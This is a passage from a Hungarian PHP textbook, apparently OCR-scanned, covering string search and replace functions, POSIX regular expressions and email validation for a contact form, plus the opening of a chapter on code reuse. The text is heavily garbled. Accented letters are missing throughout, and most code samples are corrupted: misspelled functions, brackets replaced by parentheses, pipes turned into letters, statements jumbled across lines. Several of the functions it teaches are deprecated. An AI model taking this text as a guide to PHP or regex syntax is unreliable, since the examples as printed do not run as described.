kd vgrehajtsnak megszakitst knyszerti ki

rdemes megemlteni, hogy azstlen () fggvny nem jl kezeli a tbb-bjtos kdols (UTF-7, UTF-8, Unicode) sztringeket. Tapasztalatok szerint elssorban az , , , , ,
int mb_strlen ( string $str

betket tartalmaz karakterlncok esetn hibsan a<lja vissza


l )

a szering hosszt. Unicode kdolskor hasznljuk inkbb az mb_strlen () fggvnyt, amelynek prototpusa a kvetkez: [,
string $kodolas

A fggvnyben a $str paramter a vizsgland karakterlncot tartalmazza, az opcionlis $kodolas paramterrel pedig megadhatjuk, hogy hny bites az radott karakterlnc. Az elz plda UTF-8 kdols szvegre:
if (rnb_strlen($email) <

6) ( ll vagy mb strlen($email,

'Bbit')

echo 'rvnytelen e-mail cm'; exit;

Fontos megjegyezni, hogy az,.mb_" csaldba tartoz fggvnyek nem alaprtelmezett PHP knyvtrban vannak, gy krjk a rendszergazdt, hogy teleptse a Mulribyte String knyvtrat! Tovbbi informcit a PHP kziknyv http://www.php.net/ manual/ en/book.mbstring.php oldaln tallunk. A fenti megkzelts az informci ellenrzsnek rendkvl leegyszerstett mdja. A kvetkez rszben finomabb md s zereket fogunk megvizsglni.

Rszsztringek keresse s cserje sztringkezel fggvnyekkel


Gyakran vgzett mvelet annak megllaptsa, hogy egy adott rszszering megtallhat-e egy nagyobb karakterlncban. Ez a rszleges egyezs jellemzen hasznosabb, mint teljes egyenlsg ellenrzse a karakterlncokban. Intelligens rlapunk esetben bizonyos kulcskifejezseket keresnk az gyfl zenetben, s ezek meglte alapjn kldjk a levelet a megfelel rszlegnek. Amennyiben a Bob zleteivel foglalkoz zeneteket pldul a kereskedelmi vezetnek kvnjuk tovbbtani, akkor azt kell megllaptani, hogy az zlet sz vagy annak toldalkos vltozatai elfordulnak-e a levlben. A mr megismertek kzl az explode () vagy az strtok() fggvnnyel kaphatjuk vissza az zenet szavait, majd az== mveleti jellel vagy az strcmp() fuggvnnyel sszehasonlthatnnk azokat. Ugyanezt egyeden fggvny meghvsval is elrhetjk, amennyiben ez a fuggvny a karakterlnc-illeszt vagy regulriskife jezs-illeszt (regular expression-matching) fggvnyek valamelyike. Ezek a fuggvnyek mintt keresnek a karakterlncokban. A kvetkezkben egyenknt megvizsgljuk ezeket a fggvnycsoportokat.

82

4. fejezet

Karakterlncok keresse karakterlncban: strstr (), strchr (), strrchr () s str istr () fggvny
Ha karakterlncon bell keresnk msik karakterlncot,az strstr (),az strchr (),az strrchr () vagy az stristr () fggvnyt hasznlhatjuk. A legltalnosabb ezek kzl az strstr (),amellyel nagyobb karakterlncban kereshetnk szrring- vagy karakreregye zsger. PHP-ben az strchr () fggvny pontosan megegyezik az strstr () fggvnnyel,br neve azt sugallja,hogya C-programnyelvbeli vltozarhoz hasonlan - karakter szrringen belli keressre hasznljuk. PHP-ben mindkt fggvny alkalmas karakterlncon belli karakterlnc keressre,s a keresett karakterlnc llhar akr egyeden karakterbl is. Az strstr() prototpusa a kvetkez:
string strstr(string szenakazal, string tu);

A fggvnynek kr paramtert adunk r: az egyik a karakrerlnc,amelyikben keressen ( szenakazal ) , a msik pedig az, amir keressen (tu).Amennyiben rkleres egyezsger tall,a fggvny a tu-rl indulva visszaadja a szenakazal karakter lncot; ha nincs egyezsg,akkor false rtkkel tr vissza. Amennyiben a tu egynl tbbszr elfordul,a visszaadott karak terlnc az els elfordulsval kezddik. Intelligens rlapunkban pldul meghatrozhatjuk,hogy adott feltrelek reljeslse esern hova cmeuk az e-mailt:
$cmzett = 'uzenet@pelda.com';

ll az alaprtelmezett e-mail cm

ll Az adott felttel teljeslse esetn mdostsa a $cmzett rtkt!


if (strstr($uzenet, 'bolt')) $cmzett = 'kiskereskedelem@pelda.com';

else if (strstr($uzenet,

'kiszllts'))

$cimzett = 'szallitas@pelda.com'; else if (strstr($uzenet, $cmzett = 'szmla'))

---'

'penzugy@pelda.com';

A kd adott kulcsszavakar keres az zenetben,s megltk esern a megfelel szemlynek tovbbrja azt. Amennyiben az " gyfl zenere pldul az albbi:"Mg mindig nem trtnt meg urols rendelsemnl a kiszllrs;' a kd szleli a "kiszllirs kulcsszr,s ennek megfelelen a
szallitas@pelda.com

cmre kldi az zeneter. Az strstr() fggvnynek kr varinsa is ltezik. Az els az stristr (),ami maJdnem teljesen megegyezik vele,m nem tesz klnbsget a kis- s nagybetk kzrt. Jelen alkalmazshoz ez a vltozar inkbb megfelel,mert az gyfl a kis- s nagy betk tetszleges keverkt hasznlhatja a kulcsszavakban (pldul" kiszllts", "Kiszllts", "KISZLLTS" ) . A msodik vltozar az strrchr (),ami snrn majdnem megegyezik az eredetivel,m a tu utols elfordulsrl adja vissza a szenakazal szrringer.

Rszsztringpozcijnakmegkeresse: strpos () s strrpos ()


Az strpos () s az strrpos() fggvny az strstr ()-hez hasonlan mkdik,m rszszering helyerr a tu sztring szm szer pozcijr adja vissza a szenakazal karakterlncon bell. rdekes mdon a PHP kziknyv az strstr () fggvny helyett az strpos () hasznlatt javasolja egy szering karakterlncon belli megltnek ellenrzsre,mert az utbbi gyorsab ban fut. Az strpos () fggvny prototpusa a kvetkez:
int strpos(string szenakazal, string tu, int [offset] );

A fggvny ltal visszaadott egsz szm a tu karakterlnc szenakazal sztringen belli els elfordulsnak pozcijt mutatja. Az els karakter pozcija szoks szerm O. A kvetkez kd pldul a 4-es rtket ratja ki a bngszvel:
$teszt = "Hell, vilg!"; "o"); echo strpos($teszt,

Ez a kd egyeden karaktert ad t keressi kifejezsknt, noha az brmilyen hossz karakterlnc is lehetne. Az opcionlis offset paramter egy, a szenakazal karakterlncon belli pontot hatroz meg,ahonnan a keress indi tand. Vegyk pldul a kvetkez kdot:
echo strpos($teszt, 'o',

5);

Ez a 7 -es rtker rarja ki a bngszvel, mivel a PHP az 5. pozcirl kezdve keresi az o karaktert, gy nem fogja megtallni a 4. pozciban levt.

Karakterlncok kezelse s regulris kifejezsek

83

Az strrpos () fggvny szinten teljesen megegyezik az strpos ()-sal, m a tu utols elfordulsnak a pozcijt adja vissza. Amennyiben a keressi kifejezs nem tallhat a karakterlncban, az strpos () s az strrpos () is false rtkkel tr vissza. Ez akr problmt is jelenthet, mivel egy olyan gyengn tpusos nyelvben, mint a PHP, a false a O-val egyenrtk

ami jelen esetben a sztring els karaktert jelenti.


Jelen problma elkerlhet, ha az === mveleti jellel ellenrizzk a visszaadott rtkeket:
$eredmeny = strpos($teszt,

"H");

if ($eredmeny
else

===

false)

echo "Nincs tallat";

echo "Tallat helye:

". $eredmeny;

Rszsztringek cserje: s tr_replace () s subs tr_replace () fggvny


A keress s csere funkci rendkivl hasznos tud lenni karakterlncok esetn. Segtsgvel egyniesthetnk (perszonalizlhatunk) PHP ltal ltrehozott dokumentumokat- pldul a <name> cmkt a szemly nevre, az

<add res s>-t pedig cmre cserlve.Alkalmas konkrt kifejezsek moderlsra- pldul nyilvnos frumok vagy akr a most fejlesztett intelligens rlapunk eset.n is. Erre a clra a sztringkezel fggvnyek s a regulris kifejezsek fggvnyei is
megfelelnek. A leggyakrabban hasznlt sztringcserl fggvny az str_replace ().A kvetkez prototpussal rendelkezik:

mixed str_replace(mixed tu, mixed uj_tu, mixed szenakazal[, int &szamlalo]));


A fggvny a tu minden elfordulst a szenakazal karakterlncban az uj_tu sztringre cserli, maJd a szenakazal j vltozatval tr vissza. Az opcionlis negyedik paramter, a szamlalo a vgrehajtott cserk szmt tartalmazza.

Megjegyzs: Minden paramter tadhat tmbknt, s az str_replace ()fggvny mdfelett intelligensen mkdik. At
adhaljuk a cserlend szavak tmbjt, az ezeket cserl szavak tmbjt, illetve azon karakterlncok tmbjt, amelyekre a csert alkalmazni kvnjuk. A fggvny ezt kveten az tdolgozott karakterlncok tmbjt adja vissza.
Mivel az emberek reklamlsra is hasznlhatjk intelligens rlapunkat, nyomdafestket nem tr szavak is elfordulharnak

zeneteikben. Programozknt megakadlyozhatjuk, hogy Bob klnbz rszlegeit brmilyen mdon zaklassk, ha a srt kifejezseket sszegyjtjk egy $nyomdafesteket_ nem_turo nev tmbben. Nzzk a pldt az str_replace() fggvny tmbbel trtn alkalmazsra:
$uzenet
=

str_replace( $nyomdafesteket_nem_turo,

'

% ! @*', $uzenet) ;

A substr_replace() fggvny pozcija alapjn keresi meg s cserli ki egy karakterlnc adott rszsztringjt.Az albbi prototipussal mkdik: string substr_replace(string sztring,
string csere, int start, int [hossz]

);

A fggvny a csere sztringre cserli le asztring karakterlnc egy rszt. Hogy pontosan melyik rsz lesz lecserlve, azt

a start s az opcionlis hossz paramter rtkvel hatrozhatjuk meg.


A start rtk mutatja meg, hogy a karakterlncon bell hol kezddjk a csere. Nulla vagy pozitv rtk eset.n a csere kez dpontja a karakterlnc elejtl, negatv rtknl a sztring vgtl szmtdik. Az albbi kdsor pldul X-re cserli a $teszt

utols karaktert:
$teszt = substr_replace($teszt,

'X',

-l);

A hossz opcionlis rtk, s azt a pontot hatrozza meg, ahol a PHP abbahagyja a csert. Ha nem hatrozzuk meg rt

kt, a csere a start

pozcitl a karakterlnc vgig tart.

Ha a teszt rtke nulla, akkor a cseresztring a meglv karakterlnc fellrsa nlkl lesz beszrva. A pozitv teszt rt

kek az j karakterlncra lecserlni kvnt karakterek szmt jelentik, a negatv tes zt rtkek pedig azt a- karakterlnc vgrl
szmtott- pontot hatrozzk meg, ahol a karakterek cserjt abba kvnjuk hagyni.

Ismerkeds a regulris kifejezsekkel


A PHP a regulris kifejezsek ktfle szintakrikjt tmogatja, ez a POSIX s a Perl. Mindkt tpust alaprtelmezetten tmo

gatj a a PHP, s az 5.3-as verzitl kezdve a Perl (PCRE) tpus nem kapcsolhat ki. Itt azonban az egyszerbb POSIX stlust

fogjuk megismerni; a Perl-programozk vagy a PCRE tpusrl


www.php.net/pcre oldalon elrhet online kziknyvet!

tbbet megtudni kvn olvask tanulmnyozzk a http:/ J

84

4. fejezet

Megjegyzs: A POSIX regulris kifejezsek knnyebben s gyorsabban elsajtthatk, m a binris adatokat nem mindig helyesen kezelik (nem "binary safe" kifejezsek). A mintaillesztsekhez idig szeringkezel fggvnyeket hasznltunk. Pontos egyezsgre vagy rszsztringek pontos egyez

sgre voltunk korltozva. Ha sszetettebb rnintaillesztsre van szksgnk, regulris kifejezseket kell hasznlnunk. A regul ris kifejezsek mkdst elsre nem knny megrteni, de alkalmazsuk rendkivl hasznos tud lenni.

Azalapok
A regulris kifejezsek szvegdarabban lev rnintk lersnak egy mdszert jelentik. Az eddig ltott pontos egyezsg a regulris kifejezsek egyik formja. Korbban pldul olyan regulris kifejezsekre kerestnk, mint a "bolt" vagy a " kis z ll ts". A regulris kifejezsek illesztse PHP-ben sokkal inkbb egy strstr ( ) illesztshez, mintsem egyenlsg megllaptshoz hasonlt, rnivel valahol egy msik karakterlncon belli sztringet illesztnk. (Ha mskppen nem hatrozzuk meg, akkor a ka rakterlncon bell brhol lehet.) A "bolt" karakterlnc pldul megfelel a "bolt" regulris kifejezsnek. Ugyangy megfe lel az "o", "ol" stb. regulris kifejezseknek is. A karakterek pontos illesztsn tlmenen klnleges karaktereket hasznlva jellhetnk rtelmezsi tartomnyokat. K lnleges karakterekkel jellhetjk azt, hogy az adott rnintnak a karakterlnc elejn vagy vgn kell elfordulnia, a rninta egy rsze ismtldhet, vagy a mintban lv karaktereknek adott tpusnak kell lennik. Klnleges karakterek literlis elfordul saira is illeszthetnk. A kvetkezkben ezen lehetsgeket fogjuk ttekinteni.

Karakter kszletek s osztlyok


A karakterkszletek hasznlata a kifejezsek pontos egyezsgnl hatkonyabb teszi a regulris kifejezseket. A karakter kszleteket hasznlhatjuk adott tpus brmely karakternek illesztsre; ezek valjban egyfajta dzskerkarakterek. A . karaktert az j sort ( \n) leszmtva brmilyen klnll karakter dzskerkaraktereknt hasznlhatj uk. A
.ap

regulris kifejezs pldul egyebek kztt a "lap", "nap" s "pap" karakterlncnak felel meg. Az ilyen dzskerkarakter-il leszrst gyakran hasznljk az opercis rendszer fjlneveinek keressre. A regulris kifejezsekkel azonban sokkal konkrtabban megadhatjuk a kivnt karakterilleszts tpust, s pontosan meg adhatjuk, milyen karakterkszleebe kell az adott karakternek tartoznia. Az elz pldban lv regulris kifejezs nem csak a "nap" s a "pap" sznak felel meg, hanem a" itap" karakterlncnak is. Ha a s z kztti karakterre szeremnk korltozni, a kvetkezkppen kell meghatroznunk:
[a-z)ap

A szgletes zrjelek ( [ s J ) ltal kzrefogott valami egy karakterkszlet A kszletet felsorolssal is megadhatjuk; az
[aeiou)

- olyan karakterek kszlete, amelyek kz az il

lesztett karakternek tartoznia kell. Fontos, hogy a szgletes zrjelben lv kifejezshez csak egyetlen karakter illeszkedhet.

kszlet pldul az angol bc magnhangzit tartalmazza. Meghatrozhatunk tartomnyt, ahogy tettk azt az imnt a klnleges ktjellel vagy tartomnyok kszlett, pldul gy:
[a-zA-Z)

Ezek a tartomnyok a kis- s nagybets alfabetikus karaktereket fedik le. Kszletek segtsgvel azt is megadhatj uk, hogy a karakter ne legyen az adott kszlet tagja. A
[A a-z]

kszlet pldul a nem az a s z kz es karaktereket foglalja magban. A szgletes zrjeleken bell elhelyezett beszrsi jel

( ) nem et jelent. A szgletes zrjeleken kvl ms jelentssei br, rvidesen azt is megvizsgljuk.
A

A kszletek s tartomnyok felsorolsa mellett elre meghatrozott karakterosztlyokat is hasznlhatunk a regulris kifejez sekben. A 4.3 tblzat ezeket az osztlyokat mutatja.
4.3 tblzat: POSIX stlus

regulris kifejezsekben hasznlhat karakterosztlyok

Osztly
[[:alnum:)) [[:alpha:]) [ [ : lower: ll

Benne foglalt karakterek Alfanumerikus karakterek Alfabetikus karakterek Kisbetk

Karakterlncok kezelse s regulris kifejezsek

85

Osztly
[[:upper:l l [[:digit:]] [[: xdigit: ll [[:punct: ll [ [ :blank: ll [ [ :space: ll [[:cntrl:)) [[:print:l l [[:graph:]]

Benne foglalt karakterek

Nagybetk Decimlis szmjegyek rfexadecnlis szrrYegyek rsjelek Tabultorak s szkzk Fehrkz karakterek Vezrl karakterek Minden nyomtathat karakter A szkz kivtelvel minden nyomtathat karakter

Ismtlds
Gyakran azt is meg szeretnnk hatrozni, hogy egy adott karakterlnc vagy karakterosztly tbb elfordulsa lehetsges. Kt klnleges karakter ll rendelkezsnkre, hogy regulris kifejezsnkben jelezzk ezt. A azon rsze utn kell elhelyezni, amire vonatkozik. Az
[[:alnum:))+
*

szimblum azt jelenti, hogy a min

ta nulla vagy tbb, a + szimblum azt, hogy egy vagy tbb alkalommal ismtldhet. A szimblumot a kifejezs kzvetlenl

pldul azt jelenti, hogy ,,legalbb egy alfanumerikus karakter:

Rszkifejezsek
A kifejezsek rszekre bontsnak kpessge lehetv teszi, hogy meghatrozzuk pldul a kvetkezket:.,ezen karakterlncok kzill legalbb egyet pontosan ez kvet': A kifejezseket zrjelekkel tudjuk felbontani - pontosan gy, ahogy matematikai kifejezsek esetn hasznljuk ket. Ennek megfelelen a
(nagyon ) *nagy

regulris kifejezsnek pldul a .,nagy", .,nagyon nagy", .,nagyon nagyon nagy" stb. karakterlncok felelnek meg.

Szmolt rszkifejezsek
Kapcsos zrjelek ( { } ) kz rt szmszer kifejezssel meghatrozhatjuk, hny ismtlds lehetsges. Megadharjuk az ismt ldsek konkrt szmt (a {3} pontosan hrom ismtldst jelent), ismtldsek tartomnyt (a {2, ldse jelent), illetve ismtldsek nyltvg tartomnyt (a {2, } legalbb kt ismcldst jelent). A
(nagyon} {l,

4} kett-ngy ismt

3}
"

regulris kifejezsnek pldul a .,nagyon", ., nagyon nagyon" s nekmeg.

nagyon nagyon nagyon" karakterlncok felel

Karakterlnc elejhez vagy vghez rgzts


Az [a- z J mintnak brmilyen kisbets, alfabetikus karaktert tartalmaz karakterlnc megfelel. Nem szmt, hogy a sztring mindssze egy karakter hossz vagy hosszabb karakterlnc, amely egyetlen megfelel karaktert tartalmaz. Ugyanakkor meghatrozhatjuk azt is, hogy egy adott rszkifejezs a karakterlnc elejn, vgn, esetleg mindkt helyen el forduljon. Ez a lehetsg akkor nyer rtelmet, amikor meg akarunk bizonyosadni arrl, hogy csak s kizrlag a keressi kifeje zs jelenik meg a karakterlncban. A regulris kifejezs elejre helyezett beszrsi jellel (A) azt hatrozhatjuk meg. hogy a keresett karakterlnc elejn kell meg jelennie. A regulris kifejezs vgre rt $ jel azt kzli, hogy a karakterlnc vgn kell tallkoznunk vele. A kvetkez kifejezs pldul azt jelenti, hogy a bob karakterlncnak a szering elejn kell lennie:
A bob

Az albbi mintnak pedig azok a karakterlncok felelnek meg. ahol a com a sztting vgn helyezkedik el:
com$

A kvetkez mintnak pedig olyan karakterlncok felelnek meg. amelyek egyetlen, a s


A [a-z)$

kztti karakterbl llnak:

86

4. fejezet

gaztats
A regulris kifejezsen belli vlasztsi lehetsget fuggleges vonallal jelljk. A com, ed u vagy net domainvgzdsnek pl dul az albbi kifejezs felel meg:
comledulnet

Literlis klnleges karakterekhez illeszts


Amennyiben a korbbi rszekben emltert klnleges karakterek valamelyikhez - pldul . vagy { vagy $ - kivnunk illesz teni, visszaperjelet (\)kell eljk helyezni. Ha visszaperjelet kivnunk jellni, akkor kt visszaperjellel (\\)kell helyettesteni. gyeljnk, hogy PHP-ben egyszeres idzjellel krlvert karakterlncokba helyezzk a regulris kifejezsek mintit. A ketts idzjellel elltott szeringekben lv regulris kifejezsek hasznlara felesleges komplikcikkal jrhat. A PHP visszaperjelet hasznl a klnleges karakterek- kztk a visszaperjel- kiemelsre. Amennyiben visszaperjelet kivnunk sze repelterni a rnintban, kr visszaperjellel rudjuk jelezni, hogy lirerlis visszaperrl, nem pedig kiemelsrl van sz. Ugyangy, ha literlis visszaperjelet szeretnnk ketts idzjelek kzrt lv PHP karakterlncba rni, kerrt kell hasznlni belle. Ezeknek a szablyoknak a kiss zavar vgeredmnye az, hogy a literlis visszaperjelet tartalmaz regulris kifejezst jelkpez PHP karakterlnchoz ngy visszaperjelre van szksg. A PHP rtelmez kt visszaperjelknt fogja feldolgozni a n gyet. Ezt kveten a regulris kifejezs rtelmezje egyetlenknt dolgozza fel ezt a megmaradt kettt. A ketts idzjelekben lv PHP karakterlncok s regulris kifejezsek esetn a dollrjel is klnleges karakternek szrnit. Ha literilis $ jelhez szeretnnk illeszteni egy rnintban, a "\\\$" sztringet kell hasznlnunk. Mivel ketts idzjelek kztt van, a PHP \$-knt fogja feldolgozni, amit a regulris kifejezs rtelmezje dollrjelhez fog illeszteni.

A klnleges karakterek ttekintse


A 4.4 s a 4.5 tblzatban a klnleges karakterek sszefoglalst talljuk. A 4.4 tblzat a szgleres zrjeleken kivl hasznlt klnleges karakterek jelentst, a 4.5 tblzat a szgletes zrjeleken belli jelenrsket tartalmazza.
4.4 tblzat: POSIX regulris kifejezsekben

szgletes zrjeleken kvl hasznlt, klnleges karakterek sszefoglalsa

Karakter
\ $

Jelents
Kiemel karakter A karakterlnc elejnl trtn illeszts A karakterlnc vgnl trtn illeszts jsor karakter (\n)kivtelvel brmilyen karakterhez illeszts Alternatv elgazsok kezdete (VAGY-knt olvasand) Rszrninta kezdete Rszminta vge

Ismtls nulla vagy tbb alkalommal Ismtls egy vagy tbb alkalommal Min./max. mennyisgjelz kezdere Min./max. mennyisgjelz vge

Rszrninta megjellse opcionlisknt

4.5

tblzat: POSIX regulris kifejezsekben szgletes zrjeleken bell hasznlt, klnleges karakterek sszefoglalsa Karakter
\

Jelents
Kiemel karakter NEM- csak kezd pozciban hasznlhat Karaktertartomnyok meghatrozsra hasznlhat

Karakterlncok kezelse s regulris kifejezsek

87

Az eddig tanultak alkalmazsa az intelligens rlapban


Imeiligens zenerkld alkalmazsunkban legalbb ktflekppen vehegk hasznt a regulris kifejezseknek. Az egyik lehe tsg adott kifejezsek keresse az gyfl zenetben. A regulris kifejezsek nmileg intelligensebb mdszert knlnak erre, mint a szeringkezel fggvnyek. Ez utbbiak alkalmazsa esetn hrom klnbz keresst kellene vgrehajtani, amennyiben a "bolt", "gy flszolglat" vagy" kiskereskedelem" kifejezs utn kutatnnk az zenetben. Az albbi regulris kifejezssel mind a hrom egyszerre kereshet:
boltigyflszolglatlkiskereskedelem

A msodik alkalmazsi lehetsg az gyfl e-mail cmnek ellenrzse. Ehhez regulris kifejezsbe kdoljuk az e-mail cmek szabvnyostott formtu mt. A formtum a kvetkezkppen pl fel: alfanumerikus karakterek vagy rsjegyek soro zata, ezt kveti egy

@ szimblum, majd egy alfanumerikus karakterekbl s ktjelekbl ll karakcerlnc, egy pont, ismt

alfanumerikus karakterekbl s ktjelekbl ll sztring, megint egy pont, majd jra karakterlnc; ez utbbi kett tbbszr ismtldhet. A kvetkezkppen kdolhaguk ezt:
'[a-zA-ZO-9 \-.l+@ [a-zA-ZO-9\-l +\. [a-zA-ZO-9\-.l+$ _ A A[a-zA-Z O -9 \- . l + rszkifejezs azt jelenti, hogy "legalbb egy betbl, szmbl, alulvonsbl, ktjelbl, pontbl _

vagy ezek tetszleges kombincijbl ll karakterlnc: rdemes megjegyezni, hogy amikor a pontot karakterosztly elejn vagy vgn hasznljuk, elveszti klnleges dzskerkarakter jelentst, s egyszer pontt vlik. A @ szimblum a literlls @ jelnek felel meg.

A [a-zA-ZO-9\-]+ rszkifejezs a hosztnv els, alfanumerikus karaktereket s ktjeleket tartalmaz rszt jelkpezi. Fi gyeljk meg, hogy a ktjelet visszaperjellel kiemeltk, mivel szgletes zrjeleken bell a ktjel klnleges karakternek minsl! A \. kombinci egyszer pontnak (.) felel meg. Karakterosztlyokon kvl hasznljuk a pontot, gy ki kell emelnnk ahhoz, hogy csak az egyszer (literlis) pontnak feleljen meg. A domainnv tbbi rszt a [a-zA-ZO -9\-\ .]+$ rszkifejezs jelkpezi, amely betket, szmokat, ktjelet s szksg esetn tbb pontot is tartalmaz a karakterlnc vgig. Nmi gondolkods utn belthat, hogy el tudunk lltani olyan e-mail cmeket, amelyek illeszkednek ehhez a regulris kife jezshez, mgis rvnytelenek. Szinte lehetetlen minden hamis e-mail cmer kiszrni, m ezzel az ellenrzssei valamennyit javt hat a helyzet. Sokflekppen linomithatjuk ezt a kifejezst. Felsorolhaguk pldul a legfels szint tartomnyneveket

l4

(TOL).

gyeljnk azonban, amikor tovbb szkgk a megfelelsget, mert egy olyan ellenrz fggvny, amely az rvnyes adatok akr csak l szzalkt is kiszri, sokkal zavarbb lehet, mint egy olyan, amely tenged akr 10 szzalknyi rvnytelen adatot is. Most, hogy alapsznten megismerkedtnk a regulris kifejezsekkel, kszen llunk arca, hogy megvizsgljuk az azokat hasz nl PHP fggvnyeket.

Rszsztringek keresse regulris kifejezsekkel


Az elbbiekben kifejlesztett regulris kifejezsek f alkalmazsi tetlete rszszttingek keresse. A PHP-ben elrhet kt fggvny
a

POSIX srlus regulris kifejezsek illesztsre az e reg () s az e regi ().Az ereg () fggvny prototipusa a kvetkez: A fggvny kereses helye karakterlncban keres a minta regulris kifejezsnek megfelel sztringet. A minta rszkife
string kereses helye, _ array [talalatok]);

int ereg(string minta, _

jezseire add tallatok esetn a fggvny a talalatok tmbben trolja azokat, tmbelemenknt egy rszkifejezst. Az eregi() fggvny teljes mctkben hasonlan mkdik azzal a kivtellel, hogy nem tesz klnbsget a kis- s nagybe
tk kztt.

Az intelligens rlap esetn a kvetkezkppen hasznlhaguk ki a regulris kifejezseket:


if (!eregi('A[a-zA-Z0-9 \-\.]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$', $email)) _ echo "<p>trvnytelen e-mail cim.<lp>". "<p>Krjk, exit; $cmzett "uzenet@pelda.com"; ll az alaprtelmezett rtk $uzenet)) trjen vissza az el6z6 oldalra,

s prblkezzon jra!<lp>";

if (eregi("boltlgy flszolglatlkiskereskedelem", $cimzett $cimzett $cimzett


=

"kiskereskedelem@pelda.com"; $uzenet))

else if (eregi("kiszllitslteljesits",
=

"szallitas@pelda.com"; $uzenet)) "penzugy@pelda.com";

else if (eregi("szmla",
=

88

4. fejezet

if (eregi("nagyugyfel\.com", $cimzett
=

$email))

"bob@pelda.com";

Rszsztringek cserje regulris kifejezsekkel


A regulris kifejezsek arra is alkalmasak,hogy- hasonlkppen ahhoz, ahogy az str_replace () fggvnyt hasznlruk segtsgkkel rszsztringeket keressnk s cserljnk. Ehhez a feladathoz kt fggvny ll rendelkezsnkre:
ereg_replace

() s eregi_replace ().Az e reg_replace () prototpusa a kvetkez:


string csere, string kereses_helye);

string ereg_replace(string minta,

A fggvny a minta regulris kifejezst keresi a kereses_helye karakterlncban,s a tallatokat a csere szrringre cserli. Az eregi_replace() mkdse ezzel szinte teljesen megegyez, m nem tesz klnbsget a kis- s nagybetk kztt.

Karakterlncok sztbontsa regulris kifejezsekkel


A regulris kifejezsek egy msik hasznos fggvnye a split (),amelynek a kvetkez a prototpusa:
array split(str1ng m1nta, string kereses helye[, int max]);

A fggvny a minta regulris kifejezs alapjn rszsztringekre bontja a kereses_helye karakterlncot,s tmbben adja vissza a rszsztringeket.A max egsz szmmal korltozhatjuk a tmbbe kerl elemek szmt. A fggvnyt hasznlhatjuk pldul e-mail cmek,domainnevek vagy dcumok sztbontsra. Tekintsk a kvetkez pldt:

$eim= "felhasznaloi_nev@pelda.com"; $tomb


=

split ("\.1@",

$eim);

while (list($kulcs,

$ertek) = each ($tomb))

echo "<br />".$ertek;

A plda t alkotelemre bontja


felhasznaloi nev @ pelda

az

e-mail cmer,s soronknt jelenti meg ket.

com

Megjegyzs: ltalnossgban megllapthat, hogy a regulris kifejezsek fggvnyei kevsb hatkonyan Jutnak le, mint a ha
sonl funkcij sztringkezelJggvnyek. Amennyiben Jeladatunk kellen egyszer ahhoz, hogy sztringkifejezs hasznlatval megoldjuk, tegynk gy! Ez nem szksgszeren rvnyes azokra az egyetlen regulris kifejezs fggvnnyel elvgezhet felada tokra, amelyekhez msklnben tbb sztringkezelfggvnyre lenne szksg.

Tovbbi olvasnival
A PHP szmtalan szeringkezel fggvnnyel rendelkezik. Ebben a fejezetben csak a legfontosabbakat trgyalruk, de ha kln [eges ignynk van (pldul cirill karakterekre alakts), a PHP online kziknyvben ellenrizhetjk, hogy ltezik-e szmunk ra megoldst jelent fggvny. A regulris kifejezsek tmakrben bsges irodalomban vlogathatunk. Ha Unixor hasznlunk, kezdherjk a kutatst a regexp ma n oldaln,s kivl rsokat tallunk a devshed.com s phpbuilder.com cmen is. A Zend w eboldaln az itt fejlesztettnl sszetettebb s hatsosabb e-mail-ellenrz fggvnyt is tallunk. Neve
MailVal (),s a

hrrp://www.zend.com/code/codex.php?ozid=88&single=l cmen rhet el.

Nmi idre van szksg. amg kellen elmlylnk a regulris kifejezsekben; minl tbb pldt nznk meg s futtatunk, annl biztosabb vlunk hasznlarukban.

Hogyan tovbb?
A kvetkez fejezetben tbb mdszert is megismernk arra, hogyan lehet meglv kd tbbszri felhasznlsval programoz si idt s energit megsprolnunk, illetve elkerlnnk a redundancit.

5
Kd tbbszri felhasznlsa s fggvnyrs
A fejezetbl kiderl, hogyan lehet meglv kddarabok tbbszri felhasznlsval egysgesebb, megbzhatbb, kezelhetbb progra mot rni. Radsul azt is Jmi fogjuk, hogy ezzel nem kevs munktl kmlhetjk meg magunkat. Bemutatjuk a kd modulriss ttelnek s tbbszri felhasznlsnak klnbz mdszereit, kzrk a require () s include () utasts egyszer hasznlatr, ami lehetv teszi, hogy egynl tbb weboldalon alkalmazzuk ugyanazt a kdot. Elmagyarzzuk, mirt jobbak ezek a beillesztsek a szerveroldaliaknl. A fejezetben bemutatott plda f:ijlbeillesztsek ltal teszi egysgess a teljes honlap megjelenst s hasznlatr. Oldal- s rlapkszt fggvnyek pldjn kereszrl azt is megrodhatj uk, hogyan lehet sajt fggvnyeinket lttehozni s meghvni. A fejezetben az albbi fbb tmakrket trgyaljuk:
0 0

Kd tbbszri felhasznlsnak elnyei A require () s az include () utasts hasznlata Ismerkeds a fggvnyekkel Fggvnyek definilsa Paramterek hasznlata A hatkr fogalmnak megismerse rtk visszaadsa Cm s rtk szerinti paramtertads Rekurzi megvalstsa Nvrerek hasznlata

o o 0 o o

Kd tbbszri felhasznlsnak elnyei


A szoftverfejlesztk egyik f clja, hogy j kd rsa helyett jra s jra felhasznljk meglv programrszleteiket. Ez nem azrt van gy, mert a szoftverfejleszt klnsen lusta embertpus lenne. A meglv kd jbli felhasznlsval cskkennek
a

kltsgek, javul a megbzhatsg, s egysgesebb lesz a program. j projekt ltrehozsa idelis esetben meglv s tbbszr

felhasznlhat alkotelemek kombinlst jelenti, amit a lehet legkevesebb jonnan rt kd egszt ki.

Kltsg
Minden szaftver hasznos lertartama alatt sokkal tbb idt fordtanak fenntartsra, mdostsra, tesztelsre s dokumen tlsra, rnint amennyit eredetileg megrsval tltrtek. Amennyiben zleti clra fejlesztnk, trekednnk kell arra, hogy kor ltozzuk az adott cgnl vagy szervezetnl hasznlatban lv kdsorok szmt. Ezt a clt legpraktikusabban gy teljesthetjk, ha ahelyett, hogy minden egyes feladathoz teljesen j kdot rnnk, igyeksznk meglv kdjainkat vagy programrszleteinket jbl felhasznlni. A kevesebb kd alacsonyabb kltsget jelent. Ha meglv szoftver megfelel az j projekt kvetelmnyeinek, szerezzk be azt! Meglv szoftver megvsrlsnak a kltsge szinte mindg alacsonyabb, rnint egy azzal egyenrtk termk kifejleszts. vatosan bnjunk azonban az olyan esetekkel, amikor egy meglv szoftver majdnem megfelel szmunkra! Meg lv kd mdostsa sokszor bonyolultabb feladat, mint j kd rsa.

Megbzhatsg
Ha valamely kdmodul mr hasznlatban van az adott szervezeml, akkor korbban feltehetleg mr gondosan teszteltk azt. Ha ez a modul csak nhny sornyi kdot tartalmaz, mg akkor is fennll a lehetsge, hogy jrarsa esetn elkerli figyelmn-

90

